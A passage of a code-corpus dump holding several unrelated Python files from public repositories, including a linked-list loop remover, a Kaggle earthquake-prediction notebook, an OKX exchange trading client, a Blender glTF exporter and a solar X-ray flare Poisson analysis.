results.to_csv(\"runtime-benchmarks-2.csv\")\n","repo_name":"MatPiq/RlassoModels-Replication_Material","sub_path":"analysis-code/runtime-benchmark-2.py","file_name":"runtime-benchmark-2.py","file_ext":"py","file_size_in_byte":3344,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"26769828528","text":"class Node:\r\n    def __init__(self,data):\r\n        self.data =data\r\n        self.next =None\r\nclass LinkedList:\r\n    def __init__(self):\r\n        self.head= None\r\n    def detectionandRemove(self):\r\n        slow_ptr,fast_ptr = self.head,self.head\r\n        while slow_ptr and fast_ptr and fast_ptr.next:\r\n            slow_ptr = slow_ptr.next \r\n            fast_ptr = fast_ptr.next.next \r\n            if fast_ptr ==slow_ptr:\r\n                self.removeLoop(slow_ptr)\r\n                return 1\r\n        return 0\r\n\r\n    def removeLoop(self,slow_ptr):\r\n        ptr1 = self.head \r\n        while True:\r\n            ptr2 = slow_ptr\r\n            while(ptr2.next!=slow_ptr and ptr2.next != ptr1):\r\n                ptr2 = ptr2.next \r\n            if ptr2.next == ptr1: #circle ll for first loop\r\n                break \r\n            ptr1 = ptr1.next \r\n        ptr2.next =None\r\n\r\n    def push(self, new_data):\r\n        new_node = Node(new_data)\r\n        new_node.next = self.head\r\n        self.head = new_node\r\n \r\n    def printList(self):\r\n        temp = self.head\r\n        while(temp):\r\n            print(temp.data,end=\"->\")\r\n            temp = temp.next\r\nllist = LinkedList()\r\nllist.push(10)\r\nllist.push(4)\r\nllist.push(15)\r\nllist.push(20)\r\nllist.push(50)\r\nllist.head.next.next.next.next.next = llist.head.next.next\r\nllist.detectionandRemove()\r\nprint(\"Linked List after removing loop\")\r\nllist.printList()","repo_name":"v370r/Codes","sub_path":"TechDose/ImportantDSA/CycleDetection4.py","file_name":"CycleDetection4.py","file_ext":"py","file_size_in_byte":1390,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"69947450298","text":"import numpy as np # linear algebra\nimport pandas as pd # data processing, CSV file I/O (e.g. pd.read_csv)\nimport os\nprint(os.listdir(\"../input\"))\n\n# Any results you write to the current directory are saved as output.\nfrom fastai.imports import *\nfrom fastai.structured import *\n\nfrom pandas_summary import DataFrameSummary\nfrom sklearn.ensemble import RandomForestRegressor, RandomForestClassifier\nfrom IPython.display import display\n\nfrom sklearn import metrics\n\ntrain = pd.read_csv(\"../input/train.csv\",\n                     dtype={\"acoustic_data\": np.int16, \"time_to_failure\": np.float64},\n                     nrows=100_000_000)\nrows = 10000\nsegments = int(np.floor(train.shape[0] / rows))\n\ndf_train = pd.DataFrame(index=range(segments), dtype=np.float64,\n                       columns=['ave', 'std', 'max', 'min', 'sum', 'range', 'time_to_failure'])\n\nfor segment in tqdm(range(segments)):\n    seg = train.iloc[segment*rows:segment*rows+rows]\n    x = seg['acoustic_data'].values\n    y = seg['time_to_failure'].values[-1]\n    \n    df_train.loc[segment, 'time_to_failure'] = y\n    \n    df_train.loc[segment, 'ave'] = x.mean()\n    df_train.loc[segment, 'std'] = x.std()\n    df_train.loc[segment, 'max'] = x.max()\n    df_train.loc[segment, 'min'] = x.min()\n    df_train.loc[segment, 'sum'] = x.sum()\n    df_train.loc[segment, 'range'] = x.max()-x.min()\ndf_train = df_train.sample(frac=1, axis=1).reset_index(drop=True)\ndf_train.time_to_failure = np.log(df_train.time_to_failure)\ndf_trn, y_trn, nas = proc_df(df_train, 'time_to_failure')\ndef split_vals(a,n): \n    return a[:n].copy(), a[n:].copy()\n    \ntrain_required_ratio = 0.80\nn_trn = int(len(df_trn) * train_required_ratio)\n\nX_train, X_valid = split_vals(df_trn, n_trn) \ny_train, y_valid = split_vals(y_trn, n_trn)\nX_train.shape, X_valid.shape\ndef print_score(m):\n    res = [metrics.mean_absolute_error(m.predict(X_train), y_train), metrics.mean_absolute_error(m.predict(X_valid), y_valid),\n                m.score(X_train, y_train), m.score(X_valid, y_valid)]\n    if hasattr(m, 'oob_score_'): res.append(m.oob_score_)\n    print(res)\nm = RandomForestRegressor(n_estimators=100, n_jobs=-1)\nm.fit(X_train, y_train)\nprint_score(m)\npreds = np.stack([t.predict(X_valid) for t in m.estimators_])\npreds[:,0], np.mean(preds[:,0]), y_valid[0]\nsubmission = pd.read_csv('../input/sample_submission.csv', index_col='seg_id')\nX_test = pd.DataFrame(columns=X_train.columns, dtype=np.float64, index=submission.index)\nfor seg_id in X_test.index:\n    seg = pd.read_csv('../input/test/' + seg_id + '.csv')\n    \n    x = seg['acoustic_data'].values\n    \n    X_test.loc[seg_id, 'ave'] = x.mean()\n    X_test.loc[seg_id, 'std'] = x.std()\n    X_test.loc[seg_id, 'max'] = x.max()\n    X_test.loc[seg_id, 'min'] = x.min()\n    X_test.loc[seg_id, 'sum'] = x.sum()\n    X_test.loc[seg_id, 'range'] = x.max()-x.min()\n\npreds = np.stack([t.predict(X_test) for t in m.estimators_])\npreds2 = np.mean(preds, axis=0)\npreds2\nX_test2 = X_test\nX_test2['time_to_failure'] = preds2\nX_test2.info()\npred_df = X_test2.drop(columns=['min','range','ave','sum','std','max'])\npred_df.rename_axis('seg_id')\npred_df.info()\npred_df.to_csv('datapreds.csv', sep=',', index=True, quotechar=' ')\n","repo_name":"aorursy/new-nb-5","sub_path":"matthewarthur_earthquake-fastai-analytics-vidhya-base.py","file_name":"matthewarthur_earthquake-fastai-analytics-vidhya-base.py","file_ext":"py","file_size_in_byte":3195,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"36060322049","text":"#-*- coding: utf-8 -*-\n\nimport unittest\nfrom jeux_rxbuilder import *\nfrom rxbuilder.Options import *\n\nclass TestOptions(unittest.TestCase):\n    def test_AjoutProjet(self):\n        opt = OptionBuild(\"toto.prj\")\n        listeComposants = [\n            (r'gtestmock\\radstudio', \"ggmock_group.groupproj\"),\n            (r'ComPort-4.14\\XE', \"CPort.groupproj\"),\n            (r'AsyncPro-1.0\\xe', \"Delphi.groupproj\"),\n            (r'SpTBXLib\\xe', \"sptbxLib.groupproj\"),\n            (r'tdbf\\xe\\Delphi101', \"tdbf101.groupproj\"),\n            (r'rapidxml-1.13\\xe', \"RapidXmlGroup.groupproj\"),\n            (r'McoXml\\xe', \"McoXmlGroup.groupproj\"),\n            (r'McoDebug\\xe', \"McoDebugGroup.groupproj\"),\n            (r'Mcobdd\\xe', \"McoBddGroup.groupproj\"),\n            (r'ConfigInit\\xe', \"ConfigInit.groupproj\"),\n            (r'Utils\\xe', \"UtilsComposants.groupproj\")\n\n        ]\n        opt.AddProjets(listeComposants)\n        self.assertEqual(len(opt.Projets),12 )\n\n    def test_erreur(self):\n        self.assertRaises(Exception,OptionBuild,\"--merde\")\n\n\n\n    def test_something(self):\n        commande=str(LibProjet)\n        opt=OptionBuild(commande)\n\n        self.assertEqual(opt.Plateformes, tuple(ToutesPlateformes))\n        self.assertEqual(opt.Configs, tuple(ToutesConfigs))\n        self.assertEqual(opt.Targets, tuple(TousTargets))\n        a=opt.Projets\n        #self.assertEqual(opt.Projets[0], tuple(TousTargets))\n\nif __name__ == '__main__':\n    unittest.main()\n","repo_name":"Boumg/BuildRadStudio","sub_path":"test_rxbuilder/Test_Options.py","file_name":"Test_Options.py","file_ext":"py","file_size_in_byte":1457,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"25457493199","text":"import asyncio\nimport base64\nimport hashlib\nimport hmac\nimport json\nimport random\nimport time\nfrom typing import Dict, Any\nfrom urllib.parse import urlencode\n\nimport aiohttp as aiohttp\nimport websockets\n\nfrom Structures.private import *\nfrom Structures.public import *\nfrom Structures.trade import *\nfrom Tools.logger import Logger\n\nlogger = Logger(__name__).logger\n\n\nclass Method(Enum):\n    GET = 'GET'\n    POST = 'POST'\n    SET = 'SET'\n\n\nasync def handle_rest_response(result: aiohttp.ClientResponse) -> Dict:\n    if result.status != 200:\n        error_msg = await result.text()\n        raise RuntimeError(\n            f'Executing method {result.url}\" resulted in error: {result.status} {error_msg}'\n        )\n    return await result.json()\n\n\nclass OkxConnection:\n    def __init__(self, config, queue, debug=True):\n        self.debug = debug\n\n        self.reconnect_interval = 3600\n        self.config = config\n        self.queue = queue\n\n        self.public_ws_url = self.config['okx_connection']['public_ws_url']\n        self.private_ws_url = self.config['okx_connection']['private_ws_url']\n        self.trade_ws_url = self.config['okx_connection']['trade_ws_url']\n        self.rest_url = self.config['okx_connection']['rest_url']\n        self._api_key = self.config['api_key']\n        self._secret_key = self.config['secret_key']\n        self._passphrase = self.config['passphrase']\n        self.channels_public = self.config['channels_public']\n        self.channels_private = self.config['channels_private']\n\n        self.public_ws: websockets.WebSocketServerProtocol = None\n        self.private_ws: websockets.WebSocketServerProtocol = None\n        self.trade_ws: websockets.WebSocketServerProtocol = None\n        self.rest_session: aiohttp.ClientSession = None\n\n        self.listening_tasks = []\n        self.reconnect_task = None\n\n    # WS LISTENERS\n    async def _listen_to_public_ws(self):\n        while True:\n            message = await self.public_ws.recv()\n            msg_json = json.loads(message)\n            obj = self._object_from_json_public(msg_json)\n            self.queue.put_nowait(obj)\n\n    async def _listen_to_private_ws(self):\n        while True:\n            message = await self.private_ws.recv()\n            msg_json = json.loads(message)\n            obj = self._object_from_json_private(msg_json)\n            self.queue.put_nowait(obj)\n\n    # OBJECT CONVERTERS\n    def _object_from_json_public(self, msg: Dict) -> Any:\n        channel = msg['arg']['channel']\n        obj = None\n        try:\n            if channel.startswith('candle'):\n                obj = self._candle_from_json(msg)\n            else:\n                logger.error(f'Unknown message PUBLIC: {msg}')\n        except Exception as e:\n            logger.error(f'Public processing object error: \\n{msg}\\n{e}', )\n        return obj\n\n    def _object_from_json_private(self, msg: Dict) -> Any:\n        channel = msg['arg']['channel']\n        obj = None\n        try:\n            if channel == 'account':\n                obj = self._account_from_json(msg)\n            elif channel == 'positions':\n                obj = self._positions_from_json(msg)\n            elif channel == 'orders':\n                obj = self._fill_order_from_json(msg)\n            else:\n                logger.error(f'Unknown message PRIVATE: {msg}')\n        except Exception as e:\n            logger.error(f'Private processing object error: \\n{msg}\\n{e}', )\n        return obj\n\n    # JSON TO STRUCTURES CONVERTERS\n    def _candle_from_json(self, msg: Dict, **params) -> Any:\n        candles = []\n        inst_id = params.get('instId') or msg.get('arg').get('instId')\n        timeframe = params.get('timeframe') or msg.get('arg').get('channel').replace('candle', '')\n        # if msg.get('arg'):\n        #     inst_id = msg.get('arg').get('instId')\n        #     timeframe = msg.get('arg').get('channel').replace('candle', '')\n        # else:\n        #     inst_id = params['instId']\n        #     timeframe = params['timeframe']\n\n        for data in msg.get('data'):\n            candle = Candle(\n                inst_id=inst_id,\n                timeframe=timeframe,\n                datetime=datetime.fromtimestamp(int(data[0]) // 1000),\n                timestamp_ms=int(data[0]),\n                open=float(data[1]),\n                high=float(data[2]),\n                low=float(data[3]),\n                close=float(data[4]),\n                volume=float(data[5]),\n            )\n            candles.append(candle)\n\n        if len(candles) > 1:\n            return candles\n        return candles[0]\n\n    def _positions_from_json(self, msg: Dict) -> List[Position]:\n        # print(f'Position: \\n{msg}')\n        positions = []\n        for data in msg['data']:\n            pos = Position(\n                side=Side(float(data['pos'])) if InstrumentType(data['instType']) == InstrumentType.SWAP else Side(data['posSide']),\n                margin_ccy=data['ccy'],\n                instrument_type=InstrumentType(data['instType']),\n                instrument_id=data['instId'],\n                pos_size=float(data['pos']),\n                pos_ccy=data['posCcy'],\n                notional_usd=float(data['notionalUsd']) if data['notionalUsd'] else None,\n                upl=float(data['upl']) if data['upl'] else None\n            )\n            positions.append(pos)\n        return positions\n\n    def _account_from_json(self, msg: Dict) -> Account:\n        coins = {}\n        timestamp_ms = int(msg['data'][0]['uTime'])\n        dt = datetime.fromtimestamp(timestamp_ms // 1000)\n        total_usd = 0\n        for data in msg['data'][0]['details']:\n            coin = CoinBalance(\n                ccy=data['ccy'],\n                equity=float(data['eq']),\n                equity_usd=float(data['eqUsd'])\n            )\n            total_usd += float(data['eqUsd'])\n            coins[coin.ccy] = coin\n\n        usdt = coins.get('USDT').equity if 'USDT' in coins.keys() else 0\n        return Account(coins=coins, datetime=dt, total_usd=total_usd, in_coins_usd=total_usd - usdt)\n\n    def _order_response_from_json(self, msg: Dict) -> OrderResponse:\n        return OrderResponse(\n            op=msg['op'],\n            order_id=msg['id'],\n            status=OrderStatus.OK if msg['code'] == '0' else OrderStatus.ERROR,\n            msg=msg['data'][0]['sMsg'],\n        )\n\n    def _multiple_order_response_from_json(self, msg: Dict) -> List[OrderResponse]:\n        order_responses = []\n        op = msg['op']\n        id = msg['id']\n        for d in msg['data']:\n            order_response = OrderResponse(\n                op=op,\n                order_id=id,\n                status=OrderStatus.OK if msg['code'] == '0' else OrderStatus.ERROR,\n                # data=msg['data']\n            )\n            order_responses.append(order_response)\n        return order_responses\n\n    def _fill_order_from_json(self, msg: Dict) -> FillOrder:\n        data = msg['data'][0]\n        fill_order = FillOrder(\n            id=data['clOrdId'],\n            ticker=data['instId'],\n            inst_type=InstrumentType(data['instType']),\n            posSide=Side.LONG if data['posSide'] == 'long' else Side.SHORT if data['posSide'] == 'short' else None,\n            action=Action.BUY if data['side'] == 'buy' else Action.SELL,\n            size=float(data['sz']),\n            fill_price=float(data['fillPx']) if data['fillPx'] else None,\n            fill_time=datetime.fromtimestamp(int(data['fillTime']) // 1000) if data['fillTime'] else None,\n            state=FillStatus(data['state']),\n            leverage=float(data['lever']) if data['lever'] else None,\n            fee=float(data['fee']) if data['fee'] else None,\n            pnl=float(data['pnl']) if data['pnl'] else None,\n            create_time=datetime.fromtimestamp(int(data['cTime']) // 1000)\n        )\n\n        return fill_order\n\n    def _instrument_info_from_json(self, msg: Dict) -> InstrumentInfo:\n        data = msg['data'][0]\n        instrument_info = InstrumentInfo(\n            inst_type=InstrumentType(data['instType']),\n            inst_id=data['instId'],\n            contract_value=float(data['ctVal']) if data['ctVal'] else None,\n            min_size=float(data['minSz']),\n            tick_size=float(data['tickSz']) if data['tickSz'] else None\n        )\n        return instrument_info\n\n    # OBJECT TO JSON CONVERTERS\n    def _order_to_json(self, order: Order) -> json:  # TODO: long/short or buy/sell account setting\n        pos_side_map = {Side.LONG: 'long', Side.SHORT: 'short'}\n        action_map = {Action.BUY: 'buy', Action.SELL: 'sell'}\n        tdMode_map = {TradingMode.CROSS: 'cross', TradingMode.ISOLATED: 'isolated', TradingMode.CASH: 'cash'}\n        ordType_map = {OrderType.MARKET: 'market', OrderType.LIMIT: 'limit'}\n        tgtCcy_map = {TargetCcy.BASE_CCY: 'base_ccy', TargetCcy.QUOTE_CCY: 'quote_ccy'}\n\n        msg = {\n            \"id\": order.id,\n            \"op\": \"order\",\n            \"args\": [\n                {\n                    \"side\": action_map[order.action],\n                    \"sz\": order.size,\n                    \"instId\": order.ticker,\n                    \"tdMode\": tdMode_map[order.trading_mode],\n                    \"ordType\": ordType_map[order.order_type],\n                    \"clOrdId\": order.id,\n\n                    \"tgtCcy\": tgtCcy_map[order.target_ccy] if order.target_ccy else None,\n                    'ccy': order.margin_ccy,\n                }\n            ]\n        }\n        for k, v in msg.items():\n            if v is None:\n                msg.pop(k)\n\n        return json.dumps(msg, separators=(\",\", \":\"))\n\n    def _multiple_orders_to_json(self, orders: List[Order]):\n        pos_side_map = {Side.LONG: 'long', Side.SHORT: 'short'}\n        action_map = {Action.BUY: 'buy', Action.SELL: 'sell'}\n        tdMode_map = {TradingMode.CROSS: 'cross', TradingMode.ISOLATED: 'isolated', TradingMode.CASH: 'cash'}\n        ordType_map = {OrderType.MARKET: 'market', OrderType.LIMIT: 'limit'}\n        tgtCcy_map = {TargetCcy.BASE_CCY: 'base_ccy', TargetCcy.QUOTE_CCY: 'quote_ccy'}\n        args = []\n        for order in orders:\n            arg = {\n                \"side\": action_map[order.action],\n                \"instId\": order.ticker,\n                \"tdMode\": tdMode_map[order.trading_mode],\n                \"ordType\": ordType_map[order.order_type],\n                \"sz\": order.size,\n                \"tgtCcy\": tgtCcy_map[order.target_ccy],\n            }\n            args.append(arg)\n        msg = {\n            \"id\": id_generator(),\n            \"op\": \"batch-orders\",\n            \"args\": args\n        }\n        return json.dumps(msg, separators=(\",\", \":\"))\n\n    def _order_cancel_to_json(self, order_cancel: OrderCancel):\n        msg = {\n            \"id\": id_generator(),\n            \"op\": \"cancel-order\",\n            \"args\": [\n                {\n                    \"instId\": order_cancel.inst_id,\n                    \"ordId\": order_cancel.order_id\n                }\n            ]\n        }\n        return json.dumps(msg, separators=(\",\", \":\"))\n\n    # TRADE API\n    async def place_order(self, order: Order) -> OrderResponse:\n        if self.debug:\n            order.size = 0\n        logger.warning(f'Placing order: {order}')\n        await self.trade_ws.send(self._order_to_json(order))\n        response = await self.trade_ws.recv()\n        response = json.loads(response)\n        order_response = self._order_response_from_json(response)\n        if order_response.status == OrderStatus.OK:\n            logger.warning(f'Order placed: {order_response}')\n        else:\n            logger.error(f'Order not placed: {order_response}')\n        return order_response\n\n    async def place_multiple_orders(self, orders: List[Order]):\n        if not self.debug:\n            await self.trade_ws.send(self._multiple_orders_to_json(orders))\n            response = await self.trade_ws.recv()\n            response = json.loads(response)\n            orders_response = self._multiple_order_response_from_json(response)\n            return orders_response\n        logger.debug(f'Placing multiple order: {orders}')\n\n    async def cancel_order(self, order_cancel: OrderCancel):\n        await self.trade_ws.send(self._order_cancel_to_json(order_cancel))\n\n    # ACC API\n    async def set_leverage(self, inst_id: str, leverage: int, margin_mode: TradingMode):\n        await self._rest_set_leverage(instId=inst_id, lever=leverage, mgnMode=margin_mode)\n\n    async def get_history_candles(self, ticker: str, tf: str, num_bars: int):\n        candles = []\n        for i in range((num_bars // 100) + 1):\n            msg = await self._rest_get_history_candles(instId=ticker, bar=tf)\n            candle = self._candle_from_json(msg, instId=ticker, timeframe=tf)\n            candles.extend(candle[::-1])\n        return candles[-num_bars:]\n\n    async def get_instrument_info(self, inst_type: InstrumentType, uly: str = None, inst_id: str = None):\n        msg = None\n        if inst_type == InstrumentType.SPOT:\n            msg = await self._rest_get_instrument_info(instType=inst_type.value, inst_id=inst_id)\n        elif inst_type in [InstrumentType.SWAP]:\n            msg = await self._rest_get_instrument_info(instType=inst_type.value, uly=uly)\n\n        if msg is not None:\n            instrument_info = self._instrument_info_from_json(msg)\n            return instrument_info\n\n    # REST API\n    async def _rest_place_order(self, **params):\n        if self.debug:\n            logger.warning(f'Placing order: {params}')\n            return\n        return await self._signed_rest_request(\n            Method.POST, \"/api/v5/trade/order\", params=params\n        )\n\n    async def _rest_set_leverage(self, **params):\n        \"\"\"https://www.okx.com/docs-v5/en/#rest-api-account-set-leverage\"\"\"\n        return await self._signed_rest_request(Method.POST, \"/api/v5/account/set-leverage\", params=params)\n\n    async def _rest_get_history_candles(self, **params) -> Dict:\n        \"\"\"https://www.okx.com/docs-v5/en/#rest-api-market-data-get-candlesticks-history\"\"\"\n        return await self._signed_rest_request(Method.GET, \"/api/v5/market/history-candles\", params=params)\n\n    async def _rest_get_instrument_info(self, **params):\n        return await self._signed_rest_request(Method.GET, \"/api/v5/public/instruments\", params=params)\n\n    def _get_headers(self, method: Method, path: str, params: Dict):\n        timestamp = datetime.utcnow().isoformat(timespec=\"milliseconds\") + \"Z\"\n        return {\n            \"CONTENT-TYPE\": \"application/json\",\n            \"OK-ACCESS-KEY\": self._api_key,\n            \"OK-ACCESS-SIGN\": self._get_signature(\n                method=method, path=path, params=params, timestamp=timestamp\n            ),\n            \"OK-ACCESS-TIMESTAMP\": timestamp,\n            \"OK-ACCESS-PASSPHRASE\": self._passphrase,\n        }\n\n    async def _signed_rest_request(self, method: Method, path: str, params: Dict[str, Any]) -> Dict:\n        headers = self._get_headers(method, path, params)\n        if method == Method.GET:\n            path = path + \"?\" + urlencode(params)\n\n            async with self.rest_session.get(f\"{self.rest_url}{path}\", headers=headers, data={}) as result:\n                return await handle_rest_response(result)\n\n        elif method == Method.POST:\n            async with self.rest_session.post(f\"{self.rest_url}{path}\", headers=headers, json=params) as result:\n                return await handle_rest_response(result)\n\n    def _get_signature(self, method: Method, path: str, params: Dict, timestamp: str):\n        if params:\n            if method == Method.GET:\n                params = \"?\" + urlencode(params)\n            else:\n                params = json.dumps(params)\n        else:\n            params = \"\"\n        message = timestamp + str(method) + path + params\n        mac = hmac.new(\n            self._secret_key.encode(), message.encode(), digestmod=hashlib.sha256\n        )\n        return base64.b64encode(mac.digest()).decode()\n\n    #  WEBSOCKET SETUP\n    def _get_login_msg(self):\n        timestamp = int(time.time())\n        msg = {\n            \"op\": \"login\",\n            \"args\": [\n                {\n                    \"apiKey\": f\"{self._api_key}\",\n                    \"passphrase\": f\"{self._passphrase}\",\n                    \"timestamp\": f\"{timestamp}\",\n                    \"sign\": f\"{self._get_signature(method='GET', path='/users/self/verify', params={}, timestamp=str(timestamp))}\",\n                },\n            ]\n        }\n        return json.dumps(msg, separators=(\",\", \":\"))\n\n    async def _login(self, ws, ws_name: str):\n        await ws.send(self._get_login_msg())\n        response = await ws.recv()\n        response = json.loads(response)\n        if response.get('code') == '0':\n            logger.info(f'Login success: {ws_name}')\n        else:\n            logger.error(f'Login error: {response.get(\"msg\")}')\n\n    def _get_subscribe_msg(self, channels):\n        msg = {\"op\": \"subscribe\", \"args\": channels}\n        return json.dumps(msg, separators=(\",\", \":\"))\n\n    async def _subscribe(self, ws, channels):\n        logger.info(f'Subscribing to channels: {channels}')\n        await ws.send(self._get_subscribe_msg(channels))\n        for i in range(len(channels)):\n            response = await ws.recv()\n            response = json.loads(response)\n            if response.get('event') == 'subscribe':\n                logger.info(f'Subscribed: {response.get(\"arg\")}')\n            elif response.get('event') == 'error':\n                logger.error(f'Subscribe error: {response.get(\"msg\")}')\n            else:\n                logger.warning(f'Unknown subscribe message: {response}')\n\n    async def _setup_public(self):\n        self.public_ws = await websockets.connect(self.public_ws_url)\n        await self._subscribe(self.public_ws, self.channels_public)\n        logger.warning(f'Public setup done')\n\n    async def _setup_private(self):\n        self.private_ws = await websockets.connect(self.private_ws_url)\n        await self._login(self.private_ws, 'PRIVATE')\n        await self._subscribe(self.private_ws, self.channels_private)\n        logger.warning(f'Private setup done')\n\n    async def _setup_trade(self):\n        self.trade_ws = await websockets.connect(self.trade_ws_url, ping_interval=20)\n        await self._login(self.trade_ws, 'TRADE')\n        logger.warning(f'Trade setup done')\n\n    async def _reconnect(self):\n        try:\n            for task in self.listening_tasks:\n                if task is not None and not task.done():\n                    logger.debug(f\"Cancelling listening task {task}\")\n                    task.cancel()\n            for ws in [self.public_ws, self.private_ws, self.trade_ws]:\n                if ws is not None and not ws.closed:\n                    logger.debug(f\"Closing connection {ws}\")\n                    await ws.close()\n        except Exception as e:\n            logger.error(f\"Failed to disconnect from websocket: {e}\")\n        await self._setup()\n        logger.debug(f\"Number of current running tasks {len(asyncio.all_tasks())}\")\n\n    async def _setup(self):\n        self.rest_session = aiohttp.ClientSession()\n\n        await self._setup_public()\n        await self._setup_private()\n        await self._setup_trade()\n\n        self.listening_tasks = [\n            asyncio.create_task(self._listen_to_public_ws()),\n            asyncio.create_task(self._listen_to_private_ws()),\n        ]\n\n    async def run(self):\n        await self._setup()\n\n    async def exit(self):\n        await self.rest_session.close()\n        for ws in [self.public_ws, self.private_ws, self.trade_ws]:\n            await ws.close()\n        for task in [*self.listening_tasks, self.reconnect_task]:\n            if not task.done():\n                task.cancel()\n","repo_name":"poluzerovT/TradeBot","sub_path":"Exchange/Okx.py","file_name":"Okx.py","file_ext":"py","file_size_in_byte":19648,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"22817215334","text":"#!/usr/bin/python\n\nfrom pylab import *\n\nimport sys\nsys.path.append(\"../../../src\") \n\nfrom custom.functions import *\n\nDISTANCE = 20.0\nRADIUS = 13.0\nVELOCITY = 5.0\nANGULAR_FREQUENCY = VELOCITY / RADIUS\n\nAXIS_DIST = 4.0\nOFFSET = 0.6\nDIFFERENTIAL = ANGULAR_FREQUENCY * AXIS_DIST\n\nx = arange(-1, 1, 0.1)\nx2 = arange(0, RADIUS+DISTANCE, 1)\n\nyleft = map(lambda x: VELOCITY, x2)\n\ny1 = map(lambda x: cut(x, OFFSET, 0, 0), x)\ny2 = map(lambda x: cut(x, DIFFERENTIAL, RADIUS*2, 0)+VELOCITY, x2)\n\nfigure(0)\nplot(x2, yleft)\naxis([0.0, RADIUS+DISTANCE, 0, 6])\n\nfigure(1)\nsubplot(2,1,1)\nplot(x2, y2)\naxis([0.0, RADIUS+DISTANCE, 0, 7])\n\nsubplot(2,1,2)\nplot(x, y1)\naxis([-1, 1, -0.1, 0.7])\n\n\nshow()\n","repo_name":"Rafael-Ribeiro/ai-intro","sub_path":"tp1/report/graphs/activators/ellipse.py","file_name":"ellipse.py","file_ext":"py","file_size_in_byte":681,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"2035025753","text":"import bpy\nfrom .....io.com.gltf2_io_extensions import Extension\nfrom ...material import gltf2_blender_gather_texture_info\nfrom ..gltf2_blender_search_node_tree import \\\n    has_image_node_from_socket, \\\n    get_socket, \\\n    get_factor_from_socket\n\ndef export_transmission(blender_material, export_settings):\n    transmission_enabled = False\n    has_transmission_texture = False\n\n    transmission_extension = {}\n    transmission_slots = ()\n\n    transmission_socket = get_socket(blender_material, 'Transmission Weight')\n\n    if isinstance(transmission_socket.socket, bpy.types.NodeSocket) and not transmission_socket.socket.is_linked:\n        transmission_extension['transmissionFactor'] = transmission_socket.socket.default_value\n        transmission_enabled = transmission_extension['transmissionFactor'] > 0\n    elif has_image_node_from_socket(transmission_socket, export_settings):\n        fac = get_factor_from_socket(transmission_socket, kind='VALUE')\n        transmission_extension['transmissionFactor'] = fac if fac is not None else 1.0\n        has_transmission_texture = True\n        transmission_enabled = True\n\n    if not transmission_enabled:\n        return None, {}\n\n    uvmap_info = {}\n\n    # Pack transmission channel (R).\n    if has_transmission_texture:\n        transmission_slots = (transmission_socket,)\n\n    if len(transmission_slots) > 0:\n        combined_texture, uvmap_info, _ = gltf2_blender_gather_texture_info.gather_texture_info(\n            transmission_socket,\n            transmission_slots,\n            (),\n            export_settings,\n        )\n        if has_transmission_texture:\n            transmission_extension['transmissionTexture'] = combined_texture\n\n    return Extension('KHR_materials_transmission', transmission_extension, False), {'transmissionTexture': uvmap_info}\n","repo_name":"Bforartists/Bforartists","sub_path":"scripts/addons/io_scene_gltf2/blender/exp/material/extensions/gltf2_blender_gather_materials_transmission.py","file_name":"gltf2_blender_gather_materials_transmission.py","file_ext":"py","file_size_in_byte":1811,"program_lang":"python","lang":"en","doc_type":"code","stars":492,"dataset":"github-code","pt":"22"}
+{"seq_id":"36463230164","text":"import numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport math\r\ndataset = np.loadtxt('../../astrostats/hws/xray.txt').astype(int)\r\nprint(dataset[:10])\r\n# Count the number of times k flares occur in a single day\r\nNflares_in_day = []\r\nNflares_today = 1\r\nNdays= 1\r\nyear, month, day, hour, minute = dataset[0]\r\nfor event in dataset[1:]:\r\n    if year == event[0] and month == event[1] and day == event[2]:\r\n        Nflares_today += 1\r\n    else:\r\n        Nflares_in_day.append(Nflares_today)\r\n        Nflares_today = 1\r\n        Ndays += 1\r\n        year, month, day, hour, minute = event\r\n#Compute Poisson PDF\r\ndef poisson_pdf(k, lam, t):\r\n    term1 = (lam * t)**k\r\n    term2 = np.exp(-1.0 * lam * t)\r\n    denom = math.factorial(k)\r\n    return term1 * term2 / denom\r\nklist = np.arange(min(Nflares_in_day), max(Nflares_in_day)+1, 1)\r\nPklist = []\r\nfor k in klist:\r\n    Pklist.append(poisson_pdf(k, len(dataset)/(Ndays*24), 24))\r\nbins = np.arange(min(Nflares_in_day)-0.5, max(Nflares_in_day)+1.5, 1)\r\n# Histogram\r\nplt.hist(Nflares_in_day, density=True, bins=bins, color='k', histtype='step', label='X-ray flare data')\r\nplt.xlabel('Number of X-ray flares in a day')\r\nplt.ylabel('Probability Density')\r\nplt.title('The probability of X-ray flare data ocurring and Poisson PDF in a day')\r\nplt.plot(klist, Pklist, '-ok', label='Poisson PDF')\r\nplt.legend()\r\n# Plot the time between flares\r\nimport datetime as dt\r\ndataset2 = []\r\nhour0 = dt.datetime(year=2000, month=1, day=1, hour=0)\r\nfor event in dataset:\r\n    delta = dt.datetime(year=event[0], month=event[1], day=event[2], hour=event[3]) - hour0\r\n    in_hours = int(delta.total_seconds()/3600)\r\n    dataset2.append(in_hours)\r\ntime_between_flares = []\r\nfor i in range(1, len(dataset2)):\r\n    delta = dataset2[i] - dataset2[i-1]\r\n    time_between_flares.append(delta)\r\nplt.figure()\r\nplt.hist(time_between_flares, bins=30, density=True)\r\nplt.xlabel('Hours between X-ray flares')\r\nplt.ylabel('Probability Density')\r\nplt.title('The time between flares')\r\n# The data conform the assumptions for the Poisson Distrbution","repo_name":"nalrasbi/astrostats","sub_path":"HW4_4.py","file_name":"HW4_4.py","file_ext":"py","file_size_in_byte":2051,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
